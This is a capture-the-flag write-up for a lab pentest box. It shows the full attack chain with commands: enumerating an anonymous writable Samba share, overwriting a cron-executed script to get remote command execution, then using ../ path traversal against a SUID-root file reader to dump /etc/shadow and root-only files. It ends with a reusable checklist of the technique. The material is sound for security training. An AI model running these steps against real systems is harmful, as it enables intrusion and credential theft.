The Last Dance (Последний танец)
The Last Dance (Последний танец)
Platform: hackerlab | Category: Pentest | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-04 | Status: Solved Techniques: anonymous_smb_enumeration, writable_share_cron_overwrite, cron_job_rce, suid_binary_abuse, strncmp_prefix_path_traversal, arbitrary_file_read_as_root, multi_part_flag_assembly
Summary
Task: pentest box hosting a fake DDoS-for-hire site, foothold via an anonymous writable Samba share holding a cron-executed monitoring script. Solution: overwrite the cron script for RCE as alison, then abuse a SUID-root binary with a strncmp prefix check (no realpath) for path-traversal arbitrary file read to recover both flag halves.
The Last Dance (Последний танец) — HackerLab
Description
ShadowStorm — это скрытый киберпреступный сервис, предлагающий DDoS-атаки на заказ для устранения конкурентов. Их деятельность угрожает бизнесу по всему миру. Задача: проникнуть в их инфраструктуру, найти уязвимости и получить доказательства их деятельности.
English summary: ShadowStorm is a covert cybercriminal service offering DDoS-for-hire attacks to eliminate competitors. The objective is to penetrate their infrastructure, find vulnerabilities, and obtain evidence of their operations. Target is 192.168.2.215 (over VPN), host lastdance.cdb, running Alpine Linux 6.12.33-0-lts x86_64. The flag is split into two halves and, read as a sentence, literally describes the intended attack chain: "a bit of rabbit hole and a lot of cron tasks".
Reconnaissance
Port scan
bash read-only • copy allowednmap -F -T4 -Pn 192.168.2.215
Open ports:
22/tcpssh (intermittently filtered)53/tcpdns (flaky/filtered)80/tcphttp — Apache/2.4.63 (Unix)139/tcp&445/tcpSMB (Samba)
Ports 22 and 53 were unreliable; the real attack surface was HTTP + SMB.
HTTP enumeration
Apache serves a static "ShadowStorm" DDoS-for-hire site: index.html, about.html, contacts.html, pricing.html. The contacts page leaks ICQ 6661337 and Telegram @shadowstorm1337 (flavor only). The path /orders/ has an Apache directory listing exposing order1.txt and order2.txt (placeholder content "Order 1" / "Order 2").
SMB enumeration
bash read-only • copy allowedsmbclient -L //192.168.2.215 -N smbclient //192.168.2.215/public -N -c "ls"
An anonymous share public is exposed. It contains a monitoring script checkOrders.sh:
bash read-only • copy allowed#!/bin/bash dk="/var/www/lastdance/htdocs/orders/" count=$(find $dk -type f -print) echo echo "ShadowStorm Order Monitor" echo "Detected $count file(s) in $dk" echo "Time: $(date)"
The share is writable (confirmed by uploading a test file). The script references the web orders/ directory, suggesting an automated job runs it periodically.
Exploitation
Step 1 — Confirm the share is not the web root (dead end)
An uploaded test file (smbtest.txt) returned 404 at /, /orders/, /public/, and /files/. The SMB share is not mapped to the Apache document root, so direct webshell upload is impossible. This eliminates the obvious vector and points toward a cron-driven execution of the script instead.
Step 2 — Cron abuse → RCE as alison
Hypothesis: a cron job periodically executes checkOrders.sh from the writable share. Overwriting the script via SMB should yield command execution.
The script's writable directory is unknown at first, so the payload self-locates using $(dirname "$0") and writes output next to itself, which is then readable back over SMB:
checkOrders.sh (payload version, checkOrders_payload.sh):
bash read-only • copy allowed#!/bin/sh DIR="$(cd "$(dirname "$0")" && pwd)" if [ -f "$DIR/cmd.sh" ]; then sh "$DIR/cmd.sh" > "$DIR/result.txt" 2>&1 chmod 666 "$DIR/result.txt" 2>/dev/null fi
This turns the share into a generic command runner: upload an arbitrary cmd.sh, wait one cron cycle (~60s), then read result.txt over SMB.
bash read-only • copy allowed# upload payload + command, wait, read result smbclient //192.168.2.215/public -N -c "put checkOrders_payload.sh checkOrders.sh" smbclient //192.168.2.215/public -N -c "put cmd.sh cmd.sh" sleep 65 smbclient //192.168.2.215/public -N -c "get result.txt -"
Within ~60s result.txt appeared → RCE confirmed. Output revealed:
- user
uid=1000(alison) - host
lastdance.cdb, Alpine Linux - script directory
/srv/samba/share(the share isdrwxrwxrwx, owned root) - no
sudobinary present
The responsible cron line (read later) lives in alison's crontab:
* * * * * /bin/sh /srv/samba/share/checkOrders.sh
Operational gotchas:
- Alpine uses busybox
sh; the original#!/bin/bashfails in the cron PATH (bash: not found). Usesh. - Files written by cron end up owned by
nobody/alison, so re-putover an existing file throwsNT_STATUS_ACCESS_DENIED. Alwaysdelthe stalecmd.sh/result.txtbefore re-uploading.
Step 3 — First flag half (low-priv read)
Enumeration as alison found a root-owned, world-readable file:
/home/alison/first_part (29 bytes, mode 0444)
=> CODEBY{REDACTED
SUID binaries discovered: /bin/bbsuid, /usr/sbin/suexec, and a custom /usr/sbin/sourcesViewer.
Step 4 — SUID path-traversal privesc → arbitrary read as root (second flag half)
/usr/sbin/sourcesViewer is -rwsr-xr-x root root, a setuid ELF (PIE, not stripped, built from sourcesViewer.c). It prints a file's contents, defaulting to /var/www/lastdance/htdocs/index.html.
strings revealed the relevant logic and messages:
- functions:
fopen,strncmp,fgetc,fprintf,putchar "Error: Invalid path. Must start with %s""=== File content: %s ==="
Vulnerability: the program validates the argument with a strncmp prefix check against /var/www/lastdance/htdocs/ and then fopens the raw path with no realpath/canonicalization. A ../ traversal that still begins with the required prefix bypasses the check entirely.
Exploit — satisfy the prefix, then traverse to the filesystem root:
bash read-only • copy allowedB="/var/www/lastdance/htdocs/../../../../" /usr/sbin/sourcesViewer "${B}etc/shadow" # dumps /etc/shadow as root
This dumped /etc/shadow (root + alison $6$ sha512crypt hashes), proving arbitrary file read as root.
The second flag-part filename was not obvious (flag, root.txt, second_part, etc. did not exist; alison cannot list /root). Brute-forcing candidate names through the SUID reader hit:
bash read-only • copy allowed/usr/sbin/sourcesViewer "${B}root/last_part" => REDACTED}
Step 5 — Flag assembly
first_part(/home/alison/first_part):CODEBY{REDACTEDlast_part(/root/last_partvia SUID traversal):REDACTED}
Dead ends / what didn't work
- The anonymous SMB share is not the Apache web root — uploaded files are never served by HTTP, so no direct webshell.
- DNS (53) and SSH (22) were flaky/filtered and not part of the solution path.
- Writing cron output into the web
/orders/directory failed (alison lacks write there) — pivot to writing next to the script inside the share instead. - Guessing obvious
/rootflag filenames (flag,root.txt,second_part, ...) failed; the correct name was/root/last_part, found by brute-forcing candidate names through the SUID reader.
Key takeaways / indicators
Use this attack chain when:
- An anonymous, writable Samba share contains a shell script that looks like it is periodically executed (monitoring/cron job pattern).
- A cron job runs a script from a writable location — overwrite it for RCE; self-locate with
$(dirname "$0")and exfil output back through the same share. - On Alpine/busybox, use
shnotbash, and delete stale files before re-uploading over SMB (ownership-basedNT_STATUS_ACCESS_DENIED). - A SUID-root file-reader validates input with a
strncmpprefix check but never canonicalizes the path (realpath) — bypass with../traversal that keeps the required prefix for arbitrary read as root. - The flag is split into multiple parts across privilege levels (
/home/<user>for the low-priv half,/rootfor the root-only half).